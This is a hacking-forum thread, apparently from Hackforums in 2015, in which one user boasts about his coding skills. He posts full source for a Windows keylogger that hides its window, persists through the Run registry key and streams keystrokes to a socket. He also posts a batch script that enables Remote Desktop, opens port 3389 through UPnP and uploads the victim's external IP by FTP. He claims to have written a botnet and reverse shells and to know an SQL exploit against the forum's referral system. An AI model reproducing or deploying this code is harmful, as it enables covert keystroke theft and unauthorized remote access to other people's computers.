(Apr 22, 2015 05:04 PM)DomeSlapMusic Wrote:  Agreed...

But did they.... No

So I figured why not help the community

Instead of writing out pages of code to do this

I tried to show how simple it could be done with just a paragraph of code...

This is the whole point of it man... Simplified

---

And yes it uses system functions to execute binaries default to the system..

Easier than adding a extra 3 paragraphs of pointless code when its already able to do it

(Apr 22, 2015 07:21 PM)DomeSlapMusic Wrote:  Also I have over 8 years experience in coding in over 5 languages

I have created custom python/perl/lua/C++/java projects tons of times..

(Apr 22, 2015 07:21 PM)DomeSlapMusic Wrote:  Did I ever say this code was for Windows

No I did not....

Of course cURL is not default to the windows operating system

But with 90% of ARM/UNIX/LINUX architectures cURL is infact default to the system... meaning its built into the distro....

---

Windows header is not even included onto the code so idk why you think this code was designed for it...

Also I have over 8 years experience in coding in over 5 languages

I have created custom python/perl/lua/C++/java projects tons of times..

For example I created this winsock based C++ code that will stream windows keyboard keystrokes directly to your system...

Code

#include <tchar.h>
#include <stdio.h>

#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define DEBUG

#define IP "127.0.0.1"
#define PORT 1301
#define SEND_RELEASE(x) (x==16 || x==17 || x==18)
#define WAIT 6000

SOCKET SOCK;
char BUFFER[256];

void init_socket()
{
  WSADATA wsaData;
  WSAStartup(0x101, &wsaData);
  struct sockaddr_in sock_addr;
  int ERR;

  memset(BUFFER,0,256);
  SOCK = socket(AF_INET, SOCK_STREAM, 0);

  sock_addr.sin_port = htons(PORT);
  sock_addr.sin_family = AF_INET;
  sock_addr.sin_addr.s_addr = inet_addr(IP);

  do {
    ERR = connect(SOCK,(struct sockaddr*) &sock_addr, sizeof( sock_addr ));
    Sleep(WAIT);
  } while (ERR == SOCKET_ERROR);

}

void send_bytes(char* buffer)
{
  int ERR;

  ERR = send(SOCK,BUFFER,strlen(BUFFER),0);
  memset(BUFFER,0,256);
  if (ERR == 0 || ERR==-1 || ERR == WSAECONNRESET || ERR == WSAECONNABORTED) {
    closesocket(SOCK);
    WSACleanup();
    init_socket();
  }
}

int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PreviousInstance, LPSTR CommandLine,int ShowCommand) {
TCHAR exepath[MAX_PATH];
GetModuleFileName(0, exepath, MAX_PATH);
    HKEY hKey;
    LONG lnRes = RegOpenKeyEx(
      HKEY_CURRENT_USER,
      "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
      0,KEY_WRITE,
      &hKey
      );
if( ERROR_SUCCESS == lnRes )
{
   lnRes = RegSetValueEx(hKey,
      "YourProgramsName",
      0,
      REG_SZ,
      exepath,
      strlen(exepath));
}
char Title[256];
int SizeTitle = sizeof( Title );
GetConsoleTitle( Title, SizeTitle );
HWND hWnd = NULL;
while ( NULL == hWnd )
{
    hWnd = FindWindow( NULL, Title );
}
ShowWindow( hWnd, SW_HIDE);
  unsigned int p;
  unsigned char keystate[256];
  unsigned char i;
  unsigned char j=0;
  memset(keystate,0,256);
  init_socket();

  while (1) {
    Sleep(1);
    for (i=0; i<250; i++){
      p = GetAsyncKeyState(i);

      if (p && !keystate[i]) {
      keystate[i] = 1;
      BUFFER[j]=i;
      BUFFER[j+1]=1;
      j+=2;
      }
      else if (!p && keystate[i]) {
      keystate[i] = 0;
      if (SEND_RELEASE(i)){
      BUFFER[j]=i;
      BUFFER[j+1]=2;
      j+=2;
      }
      }

    }

    if (j>=8)
    {
      send_bytes(BUFFER);
      j=0;
    }
  }
  closesocket(SOCK);
  WSACleanup();
  return 0;
}

I have also coded reverse shells in windows

shnackhag reverse shell





I am also the creator of

Open Project Botnet

https://hackforums.net/showthread.php?tid=4091369

A Windows based botnet that requires NO compilation of source code
and no SQL database needed..

---

What have you done.... haha

---

I have looked through your thread post and found nothing of any real value... Script kiddie stuff really...

Look through my thread post and find real knowledge...

hell even I know how to exploit the SQL database for hackforums....

Just can't do it cause the php file that is exploitable is only accessible to upgraded members like yourself...

This exploit allows you to steal google/yahoo/bing referrals

Anyone that signs up to the site visited from a search engine goes to your referrals

https://hackforums.net/refer.php?action=toplist

Check out the user
icuruok

---

You wanna see batch huh

This is a batch script I coded about 4 years ago...
What It does ?

Disable's system firewall
Enable's Remote Windows Desktop
Port Forward's Remote Desktop Service Past Router via UPnP
Sends You The External IP Of System That Ran File

Code

@echo off
@for /F "tokens=13 delims=\  " %%i in ('"ipconfig | findstr IPv4"') do set LOCAL_IP=%%i

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 1 /f

SET forwardport="forward.vbs"
ECHO Dim UpnpPorts >> %forwardport%
ECHO Dim PortList >> %forwardport%
ECHO Dim MyIPAddress >> %forwardport%
ECHO MyIPAddress = "%LOCAL_IP%" >> %forwardport%

ECHO Set IGD = CreateObject( "HNetCfg.NATUPnP") >> %forwardport%
ECHO Set UpnpPorts = IGD.StaticPortMappingCollection >> %forwardport%

ECHO UpnpPorts.Add 3389,"TCP",3389,MyIPAddress,TRUE,"RDP_3389_TCP" >> %forwardport%

SET iplogs=”rdp_ip_logs.log”
SET holdHttpResponse=tempholdHttpResponse.txt
SET holdExternalIP=”tempholdExternalIP.txt”
SET getIP=”tempgetExternalIP.vbs”
ECHO set WshShell = WScript.CreateObject(“WScript.Shell”) >> %getIP%
ECHO WshShell.Run “cmd” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.AppActivate “{%}SystemRoot{%}system32cmd.exe” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.SendKeys “telnet -f %holdHttpResponse% checkip.dyndns.org 80~” >> %getIP%
ECHO WScript.Sleep 100 >> %getIP%
ECHO WshShell.SendKeys “GET / HTTP/1.0~” >> %getIP%
ECHO WshShell.SendKeys “Host: checkip.dyndns.org~” >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WScript.Sleep 1500 >> %getIP%
ECHO WshShell.SendKeys “~” >> %getIP%
ECHO WshShell.SendKeys “exit~” >> %getIP%

cscript //nologo %forwardport%
cscript //nologo %getIP%
Findstr /I “Current” %holdHttpResponse% >> %holdExternalIP%
For /F “usebackq tokens=2-5 delims=.:” %%I In (%holdExternalIP%) Do Set _ip=%%I.%%J.%%K.%%L
Set ExternalIP=%_ip:~1,-14%
DEL %getIP%
DEL %forwardport%
DEL %holdHttpResponse%
DEL %holdExternalIP%
ECHO %ExternalIP% >> %iplogs%

echo user usernamehere> ftpcmd.dat
echo passwordhere>> ftpcmd.dat
echo put rdp_ip_logs.log>> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat ftp.ftpsite.com
del ftpcmd.dat
del %iplogs%

cls
@exit

Just edit in your ftp connection settings & save as .bat & the file is ready.

(Apr 22, 2015 09:30 PM)DomeSlapMusic Wrote:  Lmao did I say you change your name to a search engine..., NO

the exploit infact works by manipulating the SQL database... You get the referrals added to your account because of the SQL error... Nothing to do with changing your name... It works by the php getting the cache from the browser to determine what site the user last came from.. This data is automatically carried out by the site through a cookie that is then added to the database when the user registers....

So the site thinks ok new user registered and came from google so we will add google as its referral.. But with the exploit the user is added to your referral system.. Because of the SQL error which makes you overlap the referral accounts within the database itself...

Nothing to do with changing your name...

---

Also the batch only uses the vbs to assist with the upnp port forwarding as it couldn't be done with batch alone.. The code cant be done in pure vbs without creating batch or issuing command data.. So its better to use batch in the first place because less assistance is needed by external data...

You mock my code and examples.. And years developing software but cant show any skill as to your own coding.... Haha ok...

You must be used to coding pointless functions and Visual C programs rather than console based software

---

Sorry im not like you and don't create pointless loop functions and add extra code that's not needed because the system can already do it outside of the code.. This way you save yourself from writing pointless ass code...